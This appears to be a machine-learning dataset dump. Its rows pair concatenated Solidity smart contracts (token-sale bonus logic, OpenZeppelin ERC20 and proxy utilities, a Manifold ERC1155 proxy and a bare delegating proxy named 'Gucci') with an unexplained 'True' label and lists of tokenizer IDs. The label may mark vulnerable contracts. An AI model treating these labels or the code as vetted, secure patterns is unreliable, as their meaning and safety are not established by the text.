uint256 valueIndex = _record.indexes[_account];
return _record.values[valueIndex - 1];
}
}
library Utilities {
function computeReward(
uint256 purchased,
uint16 unit,
uint8 decimals,
function(uint256, uint16) internal pure returns (uint16, uint8) getRate
)
internal
pure
returns (
uint256,
uint256,
uint8
)
{
uint256 tokenAmount = uint256((purchased * unit) / 1 ether) * (10 ** decimals);
(uint16 rate, uint8 persona) = getRate(purchased, unit);
uint256 bonusAmount = uint256((purchased * rate) / 1 ether) * (10 ** decimals);
return (tokenAmount, bonusAmount, persona);
}
function getPrivateBonus(uint256 purchased, uint16 unit) internal pure returns (uint16, uint8) {
if (purchased >= 2 ether && purchased < 4 ether) {
return ((unit / 100) * 10, 10);
}
if (purchased >= 4 ether && purchased < 6 ether) {
return ((unit / 100) * 15, 15);
}
if (purchased >= 6 ether && purchased < 9 ether) {
return ((unit / 100) * 25, 25);
}
if (purchased >= 9 ether && purchased < 15 ether) {
return ((unit / 100) * 30, 35);
}
if (purchased >= 15 ether && purchased < 19 ether) {
return ((unit / 100) * 35, 45);
}
if (purchased >= 19 ether) {
return ((unit / 100) * 50, 88);
}
return (0, 0);
}
function getPublicBonus(uint256 purchased, uint16 unit) internal pure returns (uint16, uint8) {
if (purchased >= 0.5 ether && purchased < 1 ether) {
return ((unit / 100) * 2, 2);
}
if (purchased >= 1 ether && purchased < 3 ether) {
return ((unit / 100) * 5, 5);
}
if (purchased >= 3 ether && purchased < 6 ether) {
return ((unit / 100) * 10, 10);
}
if (purchased >= 6 ether) {
return ((unit / 100) * 15, 15);
}
return (0, 0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
abstract contract BaseControl is Ownable {
// variables
bool public privateSaleActive;
bool public publicSaleActive;
address public signerAccount = 0x8F9Ab1589581250c9D0BA92d3c865E06C9CCfCe0;
string public hashKey = "metalife-mife";
function togglePrivateSale(bool _status) external onlyOwner {
privateSaleActive = _status;
}
function togglePublicSale(bool _status) external onlyOwner {
publicSaleActive = _status;
}
function setSignerInfo(address _signer) external onlyOwner {
signerAccount = _signer;
}
function setHashKey(string calldata _hashKey) external onlyOwner {
hashKey = _hashKey;
}
/** Internal */
function splitSignature(bytes memory _sig)
internal
pure
returns (
uint8,
bytes32,
bytes32
)
{
require(_sig.length == 65, "Invalid signature length");
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(_sig, 32))
s := mload(add(_sig, 64))
v := byte(0, mload(add(_sig, 96)))
}
return (v, r, s);
}
function validSignature(bytes32 _message, bytes memory _signature) internal view returns (bool) {
bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _message));
(uint8 v, bytes32 r, bytes32 s) = splitSignature(_signature);
return ecrecover(ethSignedMessageHash, v, r, s) == signerAccount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
12324,
1063,
4949,
5311,
26300,
1010,
16548,
1065,
2013,
1000,
1012,
1013,
5622,
5910,
1012,
14017,
1000,
1025,
12324,
1063,
2918,
8663,
13181,
2140,
1065,
2013,
1000,
1012,
1013,
2918,
8663,
13181,
2140,
1012,
14017,
1000,
1025,
12324,
1063,
9413,
2278,
11387,
8022,
3085,
1010,
9413,
2278,
11387,
1010,
29464,
11890,
11387,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
14305,
1013,
9413,
2278,
11387,
8022,
3085,
1012,
14017,
1000,
1025,
3206,
2771,
7959,
2003,
2918,
8663,
13181,
2140,
1010,
9413,
2278,
11387,
8022,
3085,
1063,
2478,
4949,
5311,
26300,
2005,
4949,
5311,
26300,
1012,
5309,
1025,
2478,
4949,
5311,
26300,
2005,
4949,
5311,
26300,
1012,
2501,
1025,
2358,
6820,
6593,
3988,
1063,
4769,
4070,
1025,
21318,
3372,
17788,
2575,
3815,
1025,
1065,
1013,
1013,
5377,
2015,
1013,
1013,
10857,
21318,
3372,
17788,
2575,
2270,
11712,
16570,
25063,
1025,
4949,
5311,
26300,
1012,
2501,
17402,
1025,
9570,
2953,
1006,
1007,
9413,
2278,
11387,
1006,
1000,
1996,
3384,
29323,
1000,
1010,
1000,
2771,
7959,
1000,
1007,
1063,
21318,
3372,
17788,
2575,
4098,
6342,
9397,
2135,
1027,
11910,
8889,
8889,
8889,
1008,
1006,
2184,
1008,
1008,
26066,
2015,
1006,
1007,
1007,
1025,
21318,
3372,
17788,
2575,
2862,
1035,
1037,
1027,
11910,
8889,
8889,
2692,
1008,
1006,
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: BNP+
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
/////////////////////////////////////////////////////////
// //
// //
// ______ _ _______ ______ _ _ _ _____ //
// | ___ \ \ | | ___ \ | ___ \ | | | | / ___| //
// | |_/ / \| | |_/ / | |_/ / | | | | \ `--. //
// | ___ \ . ` | __/ | __/| | | | | |`--. \ //
// | |_/ / |\ | | | | | |___| |_| /\__/ / //
// \____/\_| \_|_| \_| \_____/\___/\____/ //
// //
// //
// //
// //
/////////////////////////////////////////////////////////
contract MOREBEATS is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract Gucci {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "address is error");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
